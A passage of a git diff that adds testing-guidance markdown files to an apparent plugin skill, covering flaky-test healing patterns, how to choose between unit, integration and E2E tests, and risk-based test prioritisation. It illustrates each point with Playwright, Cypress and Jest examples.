+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for loading spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // OR wait for specific network response
+  await page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.ok());
+
+  await expect(page.getByText('Dashboard ready')).toBeVisible();
+});
+
+test('heal implicit wait with explicit network wait', async ({ page }) => {
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+
+  // ❌ Original (race condition): await page.getByText('Product A').click()
+
+  // ✅ Healed: Wait for network first
+  await responsePromise;
+  await page.getByText('Product A').click();
+
+  await expect(page).toHaveURL(/\/products\/\d+/);
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Test code contains `page.waitForTimeout()` or `cy.wait(number)`
+- Fix: Replace with `waitForResponse()`, `waitFor({ state })`, or aliased intercepts
+- Prevention: NEVER use hard waits, always use event-based/response-based waits
+- Automation: Scan test code for hard wait patterns, suggest deterministic replacements
+
+---
+
+## Healing Pattern Catalog
+
+| Failure Type   | Diagnostic Signature                          | Healing Strategy                      | Prevention Pattern                        |
+| -------------- | --------------------------------------------- | ------------------------------------- | ----------------------------------------- |
+| Stale Selector | "locator resolved to 0 elements"              | Replace with data-testid or ARIA role | Selector hierarchy (testid > ARIA > text) |
+| Race Condition | "timeout waiting for element"                 | Add network-first interception        | Intercept before navigate                 |
+| Dynamic Data   | "Expected 'User 123' but got 'User 456'"      | Use regex or capture dynamic values   | Never hardcode IDs/timestamps             |
+| Network Error  | "API call failed", "500 error"                | Add route mocking                     | Mock all external dependencies            |
+| Hard Wait      | Test contains `waitForTimeout()` or `wait(n)` | Replace with event-based waits        | Always use deterministic waits            |
+
+## Healing Workflow
+
+1. **Run test** → Capture failure
+2. **Identify pattern** → Match error against diagnostic signatures
+3. **Apply fix** → Use pattern-based healing strategy
+4. **Re-run test** → Validate fix (max 3 iterations)
+5. **Mark unfixable** → Use `test.fixme()` if healing fails after 3 attempts
+
+## Healing Checklist
+
+Before enabling auto-healing in workflows:
+
+- [ ] **Failure catalog documented**: Common patterns identified (selectors, timing, data, network, hard waits)
+- [ ] **Diagnostic signatures defined**: Error message patterns for each failure type
+- [ ] **Healing strategies documented**: Fix patterns for each failure type
+- [ ] **Prevention patterns documented**: Best practices to avoid recurrence
+- [ ] **Healing iteration limit set**: Max 3 attempts before marking test.fixme()
+- [ ] **MCP integration optional**: Graceful degradation without Playwright MCP
+- [ ] **Pattern-based fallback**: Use knowledge base patterns when MCP unavailable
+- [ ] **Healing report generated**: Document what was healed and how
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (auto-healing after test generation), `*atdd` (optional healing for acceptance tests)
+- **Related fragments**: `selector-resilience.md` (selector debugging), `timing-debugging.md` (race condition fixes), `network-first.md` (interception patterns), `data-factories.md` (dynamic data handling)
+- **Tools**: Error message parsing, AST analysis for code patterns, Playwright MCP (optional), pattern matching
+
+_Source: Playwright test-healer patterns, production test failure analysis, common anti-patterns from test-resources-for-ai_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-levels-framework.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-levels-framework.md
new file mode 100644
index 0000000..ed3418a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-levels-framework.md
@@ -0,0 +1,473 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Levels Framework
+
+Comprehensive guide for determining appropriate test levels (unit, integration, E2E) for different scenarios.
+
+## Test Level Decision Matrix
+
+### Unit Tests
+
+**When to use:**
+
+- Testing pure functions and business logic
+- Algorithm correctness
+- Input validation and data transformation
+- Error handling in isolated components
+- Complex calculations or state machines
+
+**Characteristics:**
+
+- Fast execution (immediate feedback)
+- No external dependencies (DB, API, file system)
+- Highly maintainable and stable
+- Easy to debug failures
+
+**Example scenarios:**
+
+```yaml
+unit_test:
+  component: 'PriceCalculator'
+  scenario: 'Calculate discount with multiple rules'
+  justification: 'Complex business logic with multiple branches'
+  mock_requirements: 'None - pure function'
+```
+
+### Integration Tests
+
+**When to use:**
+
+- Component interaction verification
+- Database operations and transactions
+- API endpoint contracts
+- Service-to-service communication
+- Middleware and interceptor behavior
+
+**Characteristics:**
+
+- Moderate execution time
+- Tests component boundaries
+- May use test databases or containers
+- Validates system integration points
+
+**Example scenarios:**
+
+```yaml
+integration_test:
+  components: ['UserService', 'AuthRepository']
+  scenario: 'Create user with role assignment'
+  justification: 'Critical data flow between service and persistence'
+  test_environment: 'In-memory database'
+```
+
+### End-to-End Tests
+
+**When to use:**
+
+- Critical user journeys
+- Cross-system workflows
+- Visual regression testing
+- Compliance and regulatory requirements
+- Final validation before release
+
+**Characteristics:**
+
+- Slower execution
+- Tests complete workflows
+- Requires full environment setup
+- Most realistic but most brittle
+
+**Example scenarios:**
+
+```yaml
+e2e_test:
+  journey: 'Complete checkout process'
+  scenario: 'User purchases with saved payment method'
+  justification: 'Revenue-critical path requiring full validation'
+  environment: 'Staging with test payment gateway'
+```
+
+## Test Level Selection Rules
+
+### Favor Unit Tests When:
+
+- Logic can be isolated
+- No side effects involved
+- Fast feedback needed
+- High cyclomatic complexity
+
+### Favor Integration Tests When:
+
+- Testing persistence layer
+- Validating service contracts
+- Testing middleware/interceptors
+- Component boundaries critical
+
+### Favor E2E Tests When:
+
+- User-facing critical paths
+- Multi-system interactions
+- Regulatory compliance scenarios
+- Visual regression important
+
+## Anti-patterns to Avoid
+
+- E2E testing for business logic validation
+- Unit testing framework behavior
+- Integration testing third-party libraries
+- Duplicate coverage across levels
+
+## Duplicate Coverage Guard
+
+**Before adding any test, check:**
+
+1. Is this already tested at a lower level?
+2. Can a unit test cover this instead of integration?
+3. Can an integration test cover this instead of E2E?
+
+**Coverage overlap is only acceptable when:**
+
+- Testing different aspects (unit: logic, integration: interaction, e2e: user experience)
+- Critical paths requiring defense in depth
+- Regression prevention for previously broken functionality
+
+## Test Naming Conventions
+
+- Unit: `test_{component}_{scenario}`
+- Integration: `test_{flow}_{interaction}`
+- E2E: `test_{journey}_{outcome}`
+
+## Test ID Format
+
+`{EPIC}.{STORY}-{LEVEL}-{SEQ}`
+
+Examples:
+
+- `1.3-UNIT-001`
+- `1.3-INT-002`
+- `1.3-E2E-001`
+
+## Real Code Examples
+
+### Example 1: E2E Test (Full User Journey)
+
+**Scenario**: User logs in, navigates to dashboard, and places an order.
+
+```typescript
+// tests/e2e/checkout-flow.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser, createProduct } from '../test-utils/factories';
+
+test.describe('Checkout Flow', () => {
+  test('user can complete purchase with saved payment method', async ({ page, apiRequest }) => {
+    // Setup: Seed data via API (fast!)
+    const user = createUser({ email: 'buyer@example.com', hasSavedCard: true });
+    const product = createProduct({ name: 'Widget', price: 29.99, stock: 10 });
+
+    await apiRequest.post('/api/users', { data: user });
+    await apiRequest.post('/api/products', { data: product });
+
+    // Network-first: Intercept BEFORE action
+    const loginPromise = page.waitForResponse('**/api/auth/login');
+    const cartPromise = page.waitForResponse('**/api/cart');
+    const orderPromise = page.waitForResponse('**/api/orders');
+
+    // Step 1: Login
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', user.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login-button"]');
+    await loginPromise;
+
+    // Assert: Dashboard visible
+    await expect(page).toHaveURL('/dashboard');
+    await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+
+    // Step 2: Add product to cart
+    await page.goto(`/products/${product.id}`);
+    await page.click('[data-testid="add-to-cart"]');
+    await cartPromise;
+    await expect(page.getByText('Added to cart')).toBeVisible();
+
+    // Step 3: Checkout with saved payment
+    await page.goto('/checkout');
+    await expect(page.getByText('Visa ending in 1234')).toBeVisible(); // Saved card
+    await page.click('[data-testid="use-saved-card"]');
+    await page.click('[data-testid="place-order"]');
+    await orderPromise;
+
+    // Assert: Order confirmation
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+    await expect(page.getByText(/Order #\d+/)).toBeVisible();
+    await expect(page.getByText('$29.99')).toBeVisible();
+  });
+});
+```
+
+**Key Points (E2E)**:
+
+- Tests complete user journey across multiple pages
+- API setup for data (fast), UI for assertions (user-centric)
+- Network-first interception to prevent flakiness
+- Validates critical revenue path end-to-end
+
+### Example 2: Integration Test (API/Service Layer)
+
+**Scenario**: UserService creates user and assigns role via AuthRepository.
+
+```typescript
+// tests/integration/user-service.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser } from '../test-utils/factories';
+
+test.describe('UserService Integration', () => {
+  test('should create user with admin role via API', async ({ request }) => {
+    const userData = createUser({ role: 'admin' });
+
+    // Direct API call (no UI)
+    const response = await request.post('/api/users', {
+      data: userData,
+    });
+
+    expect(response.status()).toBe(201);
+
+    const createdUser = await response.json();
+    expect(createdUser.id).toBeTruthy();
+    expect(createdUser.email).toBe(userData.email);
+    expect(createdUser.role).toBe('admin');
+
+    // Verify database state
+    const getResponse = await request.get(`/api/users/${createdUser.id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const fetchedUser = await getResponse.json();
+    expect(fetchedUser.role).toBe('admin');
+    expect(fetchedUser.permissions).toContain('user:delete');
+    expect(fetchedUser.permissions).toContain('user:update');
+
+    // Cleanup
+    await request.delete(`/api/users/${createdUser.id}`);
+  });
+
+  test('should validate email uniqueness constraint', async ({ request }) => {
+    const userData = createUser({ email: 'duplicate@example.com' });
+
+    // Create first user
+    const response1 = await request.post('/api/users', { data: userData });
+    expect(response1.status()).toBe(201);
+
+    const user1 = await response1.json();
+
+    // Attempt duplicate email
+    const response2 = await request.post('/api/users', { data: userData });
+    expect(response2.status()).toBe(409); // Conflict
+    const error = await response2.json();
+    expect(error.message).toContain('Email already exists');
+
+    // Cleanup
+    await request.delete(`/api/users/${user1.id}`);
+  });
+});
+```
+
+**Key Points (Integration)**:
+
+- Tests service layer + database interaction
+- No UI involved—pure API validation
+- Business logic focus (role assignment, constraints)
+- Faster than E2E, more realistic than unit tests
+
+### Example 3: Component Test (Isolated UI Component)
+
+**Scenario**: Test button component in isolation with props and user interactions.
+
+```typescript
+// src/components/Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with correct label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick handler when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Disabled" disabled={true} />);
+    cy.get('button').should('be.disabled');
+    cy.get('button').should('have.attr', 'aria-disabled', 'true');
+  });
+
+  it('should show loading spinner when loading', () => {
+    cy.mount(<Button label="Loading" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles correctly', () => {
+    cy.mount(<Button label="Primary" variant="primary" />);
+    cy.get('button').should('have.class', 'btn-primary');
+
+    cy.mount(<Button label="Secondary" variant="secondary" />);
+    cy.get('button').should('have.class', 'btn-secondary');
+  });
+});
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick handler when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points (Component)**:
+
+- Tests UI component in isolation (no full app)
+- Props + user interactions + visual states
+- Faster than E2E, more realistic than unit tests for UI
+- Great for design system components
+
+### Example 4: Unit Test (Pure Function)
+
+**Scenario**: Test pure business logic function without framework dependencies.
+
+```typescript
+// src/utils/price-calculator.test.ts (Jest/Vitest)
+import { calculateDiscount, applyTaxes, calculateTotal } from './price-calculator';
+
+describe('PriceCalculator', () => {
+  describe('calculateDiscount', () => {
+    it('should apply percentage discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'percentage', value: 20 });
+      expect(result).toBe(80);
+    });
+
+    it('should apply fixed amount discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'fixed', value: 15 });
+      expect(result).toBe(85);
+    });
+
+    it('should not apply discount below zero', () => {
+      const result = calculateDiscount(10, { type: 'fixed', value: 20 });
+      expect(result).toBe(0);
+    });
+
+    it('should handle no discount', () => {
+      const result = calculateDiscount(100, { type: 'none', value: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('applyTaxes', () => {
+    it('should calculate tax correctly for US', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0.08 });
+      expect(result).toBe(108);
+    });
+
+    it('should calculate tax correctly for EU (VAT)', () => {
+      const result = applyTaxes(100, { country: 'DE', rate: 0.19 });
+      expect(result).toBe(119);
+    });
+
+    it('should handle zero tax rate', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('calculateTotal', () => {
+    it('should calculate total with discount and taxes', () => {
+      const items = [
+        { price: 50, quantity: 2 }, // 100
+        { price: 30, quantity: 1 }, // 30
+      ];
+      const discount = { type: 'percentage', value: 10 }; // -13
+      const tax = { country: 'US', rate: 0.08 }; // +9.36
+
+      const result = calculateTotal(items, discount, tax);
+      expect(result).toBeCloseTo(126.36, 2);
+    });
+
+    it('should handle empty items array', () => {
+      const result = calculateTotal([], { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(0);
+    });
+
+    it('should calculate correctly without discount or tax', () => {
+      const items = [{ price: 25, quantity: 4 }];
+      const result = calculateTotal(items, { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+});
+```
+
+**Key Points (Unit)**:
+
+- Pure function testing—no framework dependencies
+- Fast execution (milliseconds)
+- Edge case coverage (zero, negative, empty inputs)
+- High cyclomatic complexity handled at unit level
+
+## When to Use Which Level
+
+| Scenario               | Unit          | Integration       | E2E           |
+| ---------------------- | ------------- | ----------------- | ------------- |
+| Pure business logic    | ✅ Primary    | ❌ Overkill       | ❌ Overkill   |
+| Database operations    | ❌ Can't test | ✅ Primary        | ❌ Overkill   |
+| API contracts          | ❌ Can't test | ✅ Primary        | ⚠️ Supplement |
+| User journeys          | ❌ Can't test | ❌ Can't test     | ✅ Primary    |
+| Component props/events | ✅ Partial    | ⚠️ Component test | ❌ Overkill   |
+| Visual regression      | ❌ Can't test | ⚠️ Component test | ✅ Primary    |
+| Error handling (logic) | ✅ Primary    | ⚠️ Integration    | ❌ Overkill   |
+| Error handling (UI)    | ❌ Partial    | ⚠️ Component test | ✅ Primary    |
+
+## Anti-Pattern Examples
+
+**❌ BAD: E2E test for business logic**
+
+```typescript
+// DON'T DO THIS
+test('calculate discount via UI', async ({ page }) => {
+  await page.goto('/calculator');
+  await page.fill('[data-testid="price"]', '100');
+  await page.fill('[data-testid="discount"]', '20');
+  await page.click('[data-testid="calculate"]');
+  await expect(page.getByText('$80')).toBeVisible();
+});
+// Problem: Slow, brittle, tests logic that should be unit tested
+```
+
+**✅ GOOD: Unit test for business logic**
+
+```typescript
+test('calculate discount', () => {
+  expect(calculateDiscount(100, 20)).toBe(80);
+});
+// Fast, reliable, isolated
+```
+
+_Source: Murat Testing Philosophy (test pyramid), existing test-levels-framework.md structure._
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-priorities-matrix.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-priorities-matrix.md
new file mode 100644
index 0000000..deb4306
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-priorities-matrix.md
@@ -0,0 +1,373 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Priorities Matrix
+
+Guide for prioritizing test scenarios based on risk, criticality, and business impact.
+
+## Priority Levels
+
+### P0 - Critical (Must Test)
+
+**Criteria:**
+
+- Revenue-impacting functionality
+- Security-critical paths
+- Data integrity operations
+- Regulatory compliance requirements
+- Previously broken functionality (regression prevention)
+
+**Examples:**
+
+- Payment processing
+- Authentication/authorization
+- User data creation/deletion
+- Financial calculations
+- GDPR/privacy compliance
+
+**Testing Requirements:**
+
+- Comprehensive coverage at all levels
+- Both happy and unhappy paths
+- Edge cases and error scenarios
+- Performance under load
+
+### P1 - High (Should Test)
+
+**Criteria:**
+
+- Core user journeys
+- Frequently used features
+- Features with complex logic
+- Integration points between systems
+- Features affecting user experience
+
+**Examples:**
+
+- User registration flow
+- Search functionality
+- Data import/export
+- Notification systems
+- Dashboard displays
+
+**Testing Requirements:**
+
+- Primary happy paths required
+- Key error scenarios
+- Critical edge cases
+- Basic performance validation
+
+### P2 - Medium (Nice to Test)
+
+**Criteria:**
+
+- Secondary features
+- Admin functionality
+- Reporting features
+- Configuration options
+- UI polish and aesthetics
+
+**Examples:**
+
+- Admin settings panels
+- Report generation
+- Theme customization
+- Help documentation
+- Analytics tracking
+
+**Testing Requirements:**
+
+- Happy path coverage
+- Basic error handling
+- Can defer edge cases
+
+### P3 - Low (Test if Time Permits)
+
+**Criteria:**
+
+- Rarely used features
+- Nice-to-have functionality
+- Cosmetic issues
+- Non-critical optimizations
+
+**Examples:**
+
+- Advanced preferences
+- Legacy feature support
+- Experimental features
+- Debug utilities
+
+**Testing Requirements:**
+
+- Smoke tests only
+- Can rely on manual testing
+- Document known limitations
+
+## Risk-Based Priority Adjustments
+
+### Increase Priority When:
+
+- High user impact (affects >50% of users)
+- High financial impact (>$10K potential loss)
+- Security vulnerability potential
+- Compliance/legal requirements
+- Customer-reported issues
+- Complex implementation (>500 LOC)
+- Multiple system dependencies
+
+### Decrease Priority When:
+
+- Feature flag protected
+- Gradual rollout planned
+- Strong monitoring in place
+- Easy rollback capability
+- Low usage metrics
+- Simple implementation
+- Well-isolated component
+
+## Test Coverage by Priority
+
+| Priority | Unit Coverage | Integration Coverage | E2E Coverage       |
+| -------- | ------------- | -------------------- | ------------------ |
+| P0       | >90%          | >80%                 | All critical paths |
+| P1       | >80%          | >60%                 | Main happy paths   |
+| P2       | >60%          | >40%                 | Smoke tests        |
+| P3       | Best effort   | Best effort          | Manual only        |
+
+## Priority Assignment Rules
+
+1. **Start with business impact** - What happens if this fails?
+2. **Consider probability** - How likely is failure?
+3. **Factor in detectability** - Would we know if it failed?
+4. **Account for recoverability** - Can we fix it quickly?
+
+## Priority Decision Tree
+
+```
+Is it revenue-critical?
+├─ YES → P0
+└─ NO → Does it affect core user journey?
+    ├─ YES → Is it high-risk?
+    │   ├─ YES → P0
+    │   └─ NO → P1
+    └─ NO → Is it frequently used?
+        ├─ YES → P1
+        └─ NO → Is it customer-facing?
+            ├─ YES → P2
+            └─ NO → P3
+```
+
+## Test Execution Order
+
+1. Execute P0 tests first (fail fast on critical issues)
+2. Execute P1 tests second (core functionality)
+3. Execute P2 tests if time permits
+4. P3 tests only in full regression cycles
+
+## Continuous Adjustment
+
+Review and adjust priorities based on:
+
+- Production incident patterns
+- User feedback and complaints
+- Usage analytics
+- Test failure history
+- Business priority changes
+
+---
+
+## Automated Priority Classification
+
+### Example: Priority Calculator (Risk-Based Automation)
+
+```typescript
+// src/testing/priority-calculator.ts
+
+export type Priority = 'P0' | 'P1' | 'P2' | 'P3';
+
+export type PriorityFactors = {
+  revenueImpact: 'critical' | 'high' | 'medium' | 'low' | 'none';
+  userImpact: 'all' | 'majority' | 'some' | 'few' | 'minimal';
+  securityRisk: boolean;
+  complianceRequired: boolean;
+  previousFailure: boolean;
+  complexity: 'high' | 'medium' | 'low';
+  usage: 'frequent' | 'regular' | 'occasional' | 'rare';
+};
+
+/**
+ * Calculate test priority based on multiple factors
+ * Mirrors the priority decision tree with objective criteria
+ */
+export function calculatePriority(factors: PriorityFactors): Priority {
+  const { revenueImpact, userImpact, securityRisk, complianceRequired, previousFailure, complexity, usage } = factors;
+
+  // P0: Revenue-critical, security, or compliance
+  if (revenueImpact === 'critical' || securityRisk || complianceRequired || (previousFailure && revenueImpact === 'high')) {
+    return 'P0';
+  }
+
+  // P0: High revenue + high complexity + frequent usage
+  if (revenueImpact === 'high' && complexity === 'high' && usage === 'frequent') {
+    return 'P0';
+  }
+
+  // P1: Core user journey (majority impacted + frequent usage)
+  if (userImpact === 'all' || userImpact === 'majority') {
+    if (usage === 'frequent' || complexity === 'high') {
+      return 'P1';
+    }
+  }
+
+  // P1: High revenue OR high complexity with regular usage
+  if ((revenueImpact === 'high' && usage === 'regular') || (complexity === 'high' && usage === 'frequent')) {
+    return 'P1';
+  }
+
+  // P2: Secondary features (some impact, occasional usage)
+  if (userImpact === 'some' || usage === 'occasional') {
+    return 'P2';
+  }
+
+  // P3: Rarely used, low impact
+  return 'P3';
+}
+
+/**
+ * Generate priority justification (for audit trail)
+ */
+export function justifyPriority(factors: PriorityFactors): string {
+  const priority = calculatePriority(factors);
+  const reasons: string[] = [];
+
+  if (factors.revenueImpact === 'critical') reasons.push('critical revenue impact');
+  if (factors.securityRisk) reasons.push('security-critical');
+  if (factors.complianceRequired) reasons.push('compliance requirement');
+  if (factors.previousFailure) reasons.push('regression prevention');
+  if (factors.userImpact === 'all' || factors.userImpact === 'majority') {
+    reasons.push(`impacts ${factors.userImpact} users`);
+  }
+  if (factors.complexity === 'high') reasons.push('high complexity');
+  if (factors.usage === 'frequent') reasons.push('frequently used');
+
+  return `${priority}: ${reasons.join(', ')}`;
+}
+
+/**
+ * Example: Payment scenario priority calculation
+ */
+const paymentScenario: PriorityFactors = {
+  revenueImpact: 'critical',
+  userImpact: 'all',
+  securityRisk: true,
+  complianceRequired: true,
+  previousFailure: false,
+  complexity: 'high',
+  usage: 'frequent',
+};
+
+console.log(calculatePriority(paymentScenario)); // 'P0'
+console.log(justifyPriority(paymentScenario));
+// 'P0: critical revenue impact, security-critical, compliance requirement, impacts all users, high complexity, frequently used'
+```
+
+### Example: Test Suite Tagging Strategy
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+// Tag tests with priority for selective execution
+test.describe('Checkout Flow', () => {
+  test('valid payment completes successfully @p0 @smoke @revenue', async ({ page }) => {
+    // P0: Revenue-critical happy path
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Order confirmed')).toBeVisible();
+  });
+
+  test('expired card shows user-friendly error @p1 @error-handling', async ({ page }) => {
+    // P1: Core error scenario (frequent user impact)
+    await page.goto('/checkout');
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4000000000000069'); // Test card: expired
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    await expect(page.getByText('Card expired. Please use a different card.')).toBeVisible();
+  });
+
+  test('coupon code applies discount correctly @p2', async ({ page }) => {
+    // P2: Secondary feature (nice-to-have)
+    await page.goto('/checkout');
+    await page.getByTestId('coupon-code').fill('SAVE10');
+    await page.getByRole('button', { name: 'Apply' }).click();
+
+    await expect(page.getByText('10% discount applied')).toBeVisible();
+  });
+
+  test('gift message formatting preserved @p3', async ({ page }) => {
+    // P3: Cosmetic feature (rarely used)
+    await page.goto('/checkout');
+    await page.getByTestId('gift-message').fill('Happy Birthday!\n\nWith love.');
+    await page.getByRole('button', { name: 'Place Order' }).click();
+
+    // Message formatting preserved (linebreaks intact)
+    await expect(page.getByTestId('order-summary')).toContainText('Happy Birthday!');
+  });
+});
+```
+
+**Run tests by priority:**
+
+```bash
+# P0 only (smoke tests, 2-5 min)
+npx playwright test --grep @p0
+
+# P0 + P1 (core functionality, 10-15 min)
+npx playwright test --grep "@p0|@p1"
+
+# Full regression (all priorities, 30+ min)
+npx playwright test
+```
+
+---
+
+## Integration with Risk Scoring
+
+Priority should align with risk score from `probability-impact.md`:
+
+| Risk Score | Typical Priority | Rationale                                  |
+| ---------- | ---------------- | ------------------------------------------ |
+| 9          | P0               | Critical blocker (probability=3, impact=3) |
+| 6-8        | P0 or P1         | High risk (requires mitigation)            |
+| 4-5        | P1 or P2         | Medium risk (monitor closely)              |
+| 1-3        | P2 or P3         | Low risk (document and defer)              |
+
+**Example**: Risk score 9 (checkout API failure) → P0 priority → comprehensive coverage required.
+
+---
+
+## Priority Checklist
+
+Before finalizing test priorities:
+
+- [ ] **Revenue impact assessed**: Payment, subscription, billing features → P0
+- [ ] **Security risks identified**: Auth, data exposure, injection attacks → P0
+- [ ] **Compliance requirements documented**: GDPR, PCI-DSS, SOC2 → P0
+- [ ] **User impact quantified**: >50% users → P0/P1, <10% → P2/P3
+- [ ] **Previous failures reviewed**: Regression prevention → increase priority
+- [ ] **Complexity evaluated**: >500 LOC or multiple dependencies → increase priority
+- [ ] **Usage metrics consulted**: Frequent use → P0/P1, rare use → P2/P3
+- [ ] **Monitoring coverage confirmed**: Strong monitoring → can decrease priority
+- [ ] **Rollback capability verified**: Easy rollback → can decrease priority
+- [ ] **Priorities tagged in tests**: @p0, @p1, @p2, @p3 for selective execution
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (priority-based test generation), `*test-design` (scenario prioritization), `*trace` (coverage validation by priority)
+- **Related fragments**: `risk-governance.md` (risk scoring), `probability-impact.md` (impact assessment), `selective-testing.md` (tag-based execution)
+- **Tools**: Playwright/Cypress grep for tag filtering, CI scripts for priority-based execution
+
+_Source: Risk-based testing practices, test prioritization strategies, production incident analysis_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-quality.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-quality.md
new file mode 100644
index 0000000..ab62d91
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/test-quality.md
@@ -0,0 +1,664 @@
+# Test Quality Definition of Done
+
+## Principle
+
+Tests must be deterministic, isolated, explicit, focused, and fast. Every test should execute in under 1.5 minutes, contain fewer than 300 lines, avoid hard waits and conditionals, keep assertions visible in test bodies, and clean up after itself for parallel execution.
+
+## Rationale
+
+Quality tests provide reliable signal about application health. Flaky tests erode confidence and waste engineering time. Tests that use hard waits (`waitForTimeout(3000)`) are non-deterministic and slow. Tests with hidden assertions or conditional logic become unmaintainable. Large tests (>300 lines) are hard to understand and debug. Slow tests (>1.5 min) block CI pipelines. Self-cleaning tests prevent state pollution in parallel runs.
+
+## Pattern Examples
+
+### Example 1: Deterministic Test Pattern
+
+**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Non-deterministic test with conditionals and hard waits
+test('user can view dashboard - FLAKY', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // NEVER - arbitrary wait
+
+  // Conditional flow control - test behavior varies
+  if (await page.locator('[data-testid="welcome-banner"]').isVisible()) {
+    await page.click('[data-testid="dismiss-banner"]');
+    await page.waitForTimeout(500);
+  }
+
+  // Try-catch for flow control - hides real issues
+  try {
+    await page.click('[data-testid="load-more"]');
+  } catch (e) {
+    // Silently continue - test passes even if button missing
+  }
+
+  // Random data without control
+  const randomEmail = `user${Math.random()}@example.com`;
+  await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly
+});
+
+// ✅ GOOD: Deterministic test with explicit waits
+test('user can view dashboard', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+  // Setup via API (fast, controlled)
+  await apiRequest.post('/api/users', { data: user });
+
+  // Network-first: Intercept BEFORE navigate
+  const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+
+  // Wait for actual response, not arbitrary time
+  const dashboardResponse = await dashboardPromise;
+  const dashboard = await dashboardResponse.json();
+
+  // Explicit assertions with controlled data
+  await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+  await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length);
+
+  // No conditionals - test always executes same path
+  // No try-catch - failures bubble up clearly
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display user dashboard', () => {
+    const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+    // Setup via task (fast, controlled)
+    cy.task('db:seed', { users: [user] });
+
+    // Network-first interception
+    cy.intercept('GET', '**/api/dashboard').as('getDashboard');
+
+    cy.visit('/dashboard');
+
+    // Deterministic wait for response
+    cy.wait('@getDashboard').then((interception) => {
+      const dashboard = interception.response.body;
+
+      // Explicit assertions
+      cy.contains(`Welcome, ${user.name}`).should('be.visible');
+      cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Replace `waitForTimeout()` with `waitForResponse()` or element state checks
+- Never use if/else to control test flow - tests should be deterministic
+- Avoid try-catch for flow control - let failures bubble up clearly
+- Use factory functions with controlled data, not `Math.random()`
+- Network-first pattern prevents race conditions
+
+### Example 2: Isolated Test with Cleanup
+
+**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs. Use fixture auto-cleanup or explicit teardown.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Test leaves data behind, pollutes other tests
